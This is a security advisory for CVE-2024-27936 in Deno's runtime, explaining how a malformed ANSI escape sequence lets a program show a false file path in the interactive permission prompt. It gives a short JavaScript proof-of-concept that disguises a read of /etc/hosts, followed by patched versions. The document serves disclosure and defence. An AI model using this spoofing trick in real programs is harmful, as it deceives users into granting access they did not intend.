CVE-2024-27936
Deno's deno_runtime vulnerable to interactive permission prompt spoofing via improper ANSI stripping
描述
### Summary A maliciously crafted permission request can show the spoofed permission prompt by inserting a broken ANSI escape sequence into the request contents. ### Details In [the patch for CVE-2023-28446](https://github.com/denoland/deno/commit/78d430103a8f6931154ddbbe19d36f3b8630286d), Deno is stripping any ANSI escape sequences from the permission prompt, but permissions given to the program are based on the contents that contain the ANSI escape sequences. For example, requesting the read permission with `/tmp/hello\u001b[/../../etc/hosts` as a path will display the `/tmp/hellotc/hosts` in the permission prompt, but the actual permission given to the program is `/tmp/hello\u001b[/../../etc/hosts`, which is `/etc/hosts` after the normalization. This difference allows a malicious Deno program to spoof the contents of the permission prompt. ### PoC Run the following JavaScript and observe that `/tmp/hellotc/hosts` is displayed in the permission prompt instead of `/etc/hosts`, although Deno gives access to `/etc/hosts`. ``` javascript const permission = { name: "read", path: "/tmp/hello\u001b[/../../etc/hosts" }; await Deno.permissions.request(permission); console.log(await Deno.readTextFile("/etc/hosts")); ``` #### Expected prompt ``` ┌ ⚠️ Deno requests read access to "/etc/hosts". ├ Requested by `Deno.permissions.query()` API ├ Run again with --allow-read to bypass this prompt. └ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all read permissions) > ``` #### Actual prompt ``` ┌ ⚠️ Deno requests read access to "/tmp/hellotc/hosts". ├ Requested by `Deno.permissions.query()` API ├ Run again with --allow-read to bypass this prompt. └ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all read permissions) > ``` ### Impact Any Deno program can spoof the content of the interactive permission prompt by inserting a broken ANSI code, which allows a malicious Deno program to display the wrong file path or program name to the user.
如何修補 CVE-2024-27936
要修補 CVE-2024-27936,請將受影響套件升級到下列已修補版本。
- —升級至 1.41.0 或更新版本
- —升級至 0.147.0 或更新版本
CVE-2024-27936 正在被利用嗎?
低 — EPSS 為 0.9%,目前沒有觀察到大規模利用活動。